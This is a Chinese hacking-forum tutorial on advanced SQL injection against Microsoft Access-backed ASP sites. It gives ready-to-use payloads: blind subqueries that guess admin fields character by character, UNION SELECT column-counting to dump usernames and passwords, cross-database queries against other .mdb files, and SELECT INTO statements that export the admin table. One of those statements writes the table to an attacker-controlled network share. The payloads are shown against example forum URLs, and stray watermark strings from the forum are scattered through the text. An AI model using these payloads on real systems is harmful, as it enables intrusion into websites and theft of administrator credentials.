Access高级注入语句

admin

--------------------------------------------------------------
& b+ l1 z5 X  g- r9 V; iunion查询法
; }5 r( U  `# e2 C# A* }首先要说的就是查询办法,一般的查询办法就是
# |* t3 ?  M3 Q9 a+ W
程序代码
) t1 d* R4 c) O3 U( r6 Zand 1=(select count(*) from admin where left(id,1)='1')
, j( U7 j5 k/ b/ [  e! s
5 i4 t/ c; h$ |5 g* d这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
所以这个时候,union select横空出现.别以为只能在PHP里用哦...
  Q# L0 u: t  T9 C4 Q% }譬如你有一个ACCESS点:
  J# U0 Y% U2 `6 o0 Z程序代码
( Q) ]& R7 q3 x; t; mhttp://bbs.tian6.com/xiaoyang.asp?coder=1

知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
( f; o6 [- H; F9 e/ a! r( z然后我们直接来:
+ ~, X; Q! r- P3 }9 r! N; _程序代码
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]

% n) v! R) x. r- U# D这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.

" I# L* ]' F+ i6 D: e: W
- f! X' I; s  \
---------------------------------------------------------------
7 Y! u' ^6 m6 K; H4 n* L8 \Access跨库查询
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
跨库的查询语句:
! Q6 D, x$ T  J( b子查询:
程序代码
% w' P: K- M; S& [3 i& fand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0

# C$ _7 Y* D( p, [9 }3 ?union查询:
" O; j- Y. p: w$ r  ~程序代码
2 G3 k: q4 n2 C9 m& s( v) F8 N6 D% Zunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
4 S' t2 Q9 m, n8 @/ k3 l. W! X3 b
* i! P6 r/ |, `; Z6 N8 B跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
程序代码
7 I  }2 F, }: z" Q/ e8 Mhttp://www.4ngel.net/article/46.htm
$ l' R% M: _( H% {- c0 _2 R" zhttp://hf110.com/Article/hack/rqsl/200502/66.html

8 m4 ?6 m  B4 g0 c! N* _---------------------------------------------------------------
! r1 T& V+ S! S( {; dAccess注入,导出txt,htm,html
子查询语句:
程序代码
3 G$ F6 l6 Z. JSelect * into [test.txt] in 'd:\web\' 'text;' from admin

5 L: U. U5 G4 |, {. q  W) f, B这样就把admin表的内容以test类型存进了d:\web里面.
UNION查询:
$ L/ H( h0 q  S. I$ ?程序代码
8 m7 `3 r$ `" G/ x& Y7 Eunion select * into [admin.txt] in 'c:\' 'test;' from admin

4 u% X* F+ L: m; W( A而且这里也可以保存到本地来:
程序代码
Select * into [test.txt] in '\\yourip\share' 'text;' from admin
* m, [2 [: i8 O
5 k% W2 @3 [& y' g$ ?6 y3 J不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:

: P2 \. l3 ?5 `$ n% P% F程序代码
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
7 ^; a8 D5 Q7 ~1 z5 f4 u% Q* F  T
- M* h: w- Y, v; v$ n/ a; p因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.